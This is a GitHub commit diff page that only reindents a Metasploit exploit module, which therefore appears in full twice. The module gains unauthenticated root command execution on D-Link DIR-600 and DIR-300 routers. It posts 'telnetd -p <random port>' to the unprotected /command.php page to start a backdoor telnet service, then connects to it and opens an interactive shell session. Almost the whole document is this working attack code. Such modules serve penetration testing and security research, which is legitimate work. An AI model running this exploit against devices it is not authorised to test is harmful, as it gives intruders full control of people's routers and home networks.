Skip to content

Commit 84aaf23

Browse files
tabassassintabassassin
committed
Retab new material
1 parent 0c1e654 commit 84aaf23

File tree

6 files changed

+853
-853
lines changed

6 files changed

+853
-853
lines changed

‎modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

Lines changed: 141 additions & 141 deletions
Original file line numberDiff line numberDiff line change
@@ -8,146 +8,146 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = ExcellentRanking
12-
13-
include Msf::Exploit::Remote::HttpClient
14-
15-
def initialize(info = {})
16-
super(update_info(info,
17-
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
18-
'Description' => %q{
19-
Different D-Link Routers are vulnerable to OS command injection via the web
20-
interface. The vulnerability exists in command.php, which is accessible without
21-
authentication. This module has been tested with the versions DIR-600 2.14b01,
22-
DIR-300 rev B 2.13.
23-
},
24-
'Author' =>
25-
[
26-
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
27-
'juan vazquez' # minor help with msf module
28-
],
29-
'License' => MSF_LICENSE,
30-
'References' =>
31-
[
32-
[ 'OSVDB', '89861' ],
33-
[ 'EDB', '24453' ],
34-
[ 'BID', '57734' ],
35-
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
36-
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
37-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
38-
],
39-
'DisclosureDate' => 'Feb 04 2013',
40-
'Privileged' => true,
41-
'Platform' => 'unix',
42-
'Arch' => ARCH_CMD,
43-
'Payload' =>
44-
{
45-
'Compat' => {
46-
'PayloadType' => 'cmd_interact',
47-
'ConnectionType' => 'find',
48-
},
49-
},
50-
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
51-
'Targets' =>
52-
[
53-
[ 'Automatic', { } ]
54-
],
55-
'DefaultTarget' => 0
56-
))
57-
58-
register_advanced_options(
59-
[
60-
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
61-
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
62-
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
63-
], self.class)
64-
65-
end
66-
67-
def tel_timeout
68-
(datastore['TelnetTimeout'] || 10).to_i
69-
end
70-
71-
def banner_timeout
72-
(datastore['TelnetBannerTimeout'] || 25).to_i
73-
end
74-
75-
def session_timeout
76-
(datastore['SessionTimeout'] || 10).to_i
77-
end
78-
79-
def exploit
80-
telnetport = rand(65535)
81-
82-
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
83-
84-
cmd = "telnetd -p #{telnetport}"
85-
86-
#starting the telnetd gives no response
87-
print_status("#{rhost}:#{rport} - Sending exploit request...")
88-
request(cmd)
89-
90-
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
91-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
92-
93-
if sock.nil?
94-
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
95-
end
96-
97-
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
98-
prompt = negotiate_telnet(sock)
99-
if prompt.nil?
100-
sock.close
101-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
102-
else
103-
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
104-
end
105-
106-
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
107-
begin
108-
Timeout.timeout(session_timeout) do
109-
activated = handler(sock)
110-
while(activated !~ /claimed/)
111-
activated = handler(sock)
112-
end
113-
end
114-
rescue ::Timeout::Error
115-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
116-
end
117-
end
118-
119-
def request(cmd)
120-
121-
uri = '/command.php'
122-
123-
begin
124-
res = send_request_cgi({
125-
'uri' => uri,
126-
'method' => 'POST',
127-
'vars_post' => {
128-
"cmd" => cmd
129-
}
130-
})
131-
return res
132-
rescue ::Rex::ConnectionError
133-
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
134-
end
135-
end
136-
137-
def negotiate_telnet(sock)
138-
begin
139-
Timeout.timeout(banner_timeout) do
140-
while(true)
141-
data = sock.get_once(-1, tel_timeout)
142-
return nil if not data or data.length == 0
143-
if data =~ /\x23\x20$/
144-
return true
145-
end
146-
end
147-
end
148-
rescue ::Timeout::Error
149-
return nil
150-
end
151-
end
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
18+
'Description' => %q{
19+
Different D-Link Routers are vulnerable to OS command injection via the web
20+
interface. The vulnerability exists in command.php, which is accessible without
21+
authentication. This module has been tested with the versions DIR-600 2.14b01,
22+
DIR-300 rev B 2.13.
23+
},
24+
'Author' =>
25+
[
26+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
27+
'juan vazquez' # minor help with msf module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'OSVDB', '89861' ],
33+
[ 'EDB', '24453' ],
34+
[ 'BID', '57734' ],
35+
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
36+
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
37+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
38+
],
39+
'DisclosureDate' => 'Feb 04 2013',
40+
'Privileged' => true,
41+
'Platform' => 'unix',
42+
'Arch' => ARCH_CMD,
43+
'Payload' =>
44+
{
45+
'Compat' => {
46+
'PayloadType' => 'cmd_interact',
47+
'ConnectionType' => 'find',
48+
},
49+
},
50+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
51+
'Targets' =>
52+
[
53+
[ 'Automatic', { } ]
54+
],
55+
'DefaultTarget' => 0
56+
))
57+
58+
register_advanced_options(
59+
[
60+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
61+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
62+
OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
63+
], self.class)
64+
65+
end
66+
67+
def tel_timeout
68+
(datastore['TelnetTimeout'] || 10).to_i
69+
end
70+
71+
def banner_timeout
72+
(datastore['TelnetBannerTimeout'] || 25).to_i
73+
end
74+
75+
def session_timeout
76+
(datastore['SessionTimeout'] || 10).to_i
77+
end
78+
79+
def exploit
80+
telnetport = rand(65535)
81+
82+
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
83+
84+
cmd = "telnetd -p #{telnetport}"
85+
86+
#starting the telnetd gives no response
87+
print_status("#{rhost}:#{rport} - Sending exploit request...")
88+
request(cmd)
89+
90+
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
91+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
92+
93+
if sock.nil?
94+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
95+
end
96+
97+
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
98+
prompt = negotiate_telnet(sock)
99+
if prompt.nil?
100+
sock.close
101+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
102+
else
103+
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
104+
end
105+
106+
print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
107+
begin
108+
Timeout.timeout(session_timeout) do
109+
activated = handler(sock)
110+
while(activated !~ /claimed/)
111+
activated = handler(sock)
112+
end
113+
end
114+
rescue ::Timeout::Error
115+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
116+
end
117+
end
118+
119+
def request(cmd)
120+
121+
uri = '/command.php'
122+
123+
begin
124+
res = send_request_cgi({
125+
'uri' => uri,
126+
'method' => 'POST',
127+
'vars_post' => {
128+
"cmd" => cmd
129+
}
130+
})
131+
return res
132+
rescue ::Rex::ConnectionError
133+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
134+
end
135+
end
136+
137+
def negotiate_telnet(sock)
138+
begin
139+
Timeout.timeout(banner_timeout) do
140+
while(true)
141+
data = sock.get_once(-1, tel_timeout)
142+
return nil if not data or data.length == 0
143+
if data =~ /\x23\x20$/
144+
return true
145+
end
146+
end
147+
end
148+
rescue ::Timeout::Error
149+
return nil
150+
end
151+
end
152152

153153
end

0 commit comments

Comments
 (0)